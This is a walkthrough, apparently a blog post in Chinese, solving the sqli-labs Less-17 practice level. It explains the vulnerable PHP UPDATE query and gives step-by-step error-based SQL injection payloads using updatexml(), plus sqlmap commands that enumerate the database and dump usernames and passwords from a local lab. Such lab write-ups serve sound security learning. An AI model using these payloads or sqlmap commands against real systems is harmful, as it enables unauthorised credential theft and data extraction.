1. 思路🚀
本关的SQL语句为:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
- 注入类型:字符串型(单引号包裹)、POST请求、UPDATE请求
- 提示:参数需以
'
闭合
php
输出语句的部分代码:
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
值得注意的是,本关卡的落脚点是password
,而非username
,根据SQL语句可知,还必须知道其中一个用户的账号,不然update
语句就进行不下去。暂且利用其中一个用户账号名admin
,根据提示信息,使用报错盲注。
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-17/
,只需要将下面的url
和post data
放入对应位置,粘贴即可。
2.1. 判断能否注入⚡
uname=admin&passwd=1' order by 3 #
&submit=Submit
2.2. 获取数据库⚡
uname=admin&passwd=1' and updatexml(1,concat(1,(select database())),3) #
&submit=Submit
2.3. 获取表名⚡
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&submit=Submit
2.4. 获取字段⚡
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&submit=Submit
2.5. 获取数据⚡
tmp:将目标表包装成子查询结果(临时表)
uname=admin&passwd=1' and updatexml(1,concat(1,(select concat(username,':',password) from (select * from users) as tmp where username='admin' limit 1)),3) #
&submit=Submit
假如你使用了类似下面的语句,报图中错误:
uname=admin&passwd=1' and updatexml(1,concat(1,(select password from users limit 0,1)),3) #
&submit=Submit
这是因为在update
、delete
或insert
语句的子查询中,不能直接引用正在被修改的表。你的报错注入使用了updatexml
,而 updatexml
本质上是一个更新操作(虽然目的是触发错误),因此受此限制影响。
2.6. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' |
闭合符号 | id=1' |
# |
注释符 | # |
updatexml() |
报错注入函数 | updatexml(1,(select database()),3) |
concat() |
字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
information_schema |
系统数据库 | from information_schema.tables |
table_schema |
数据库名称 | table_schema='security' |
table_name |
数据表名称 | table_name='users' |
column_name |
字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,比如:http://localhost:8081/Less-17/
,由于本关卡为post
请求,需要加参数指明请求格式,
--data="uname=admin&passwd=123456"
,passwd
的值随意,具体如下:⭐
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-17/" --data="uname=admin&passwd=123456" --batch
# 爆数据库
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" --dbs --batch
# 爆表名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security --tables --batch
# 爆列名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users --columns --batch
# 爆数据
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
奇怪的是账号密码全为NULL,这或许是源代码的问题,不过之前的4条命令都可正常获取基本信息。
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch |
非交互模式 |
--dbs |
枚举数据库 |
-D |
指定数据库 |
-T |
指定表 |
-C |
指定列 |
--dump |
导出数据 |
4. 总结🏁
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗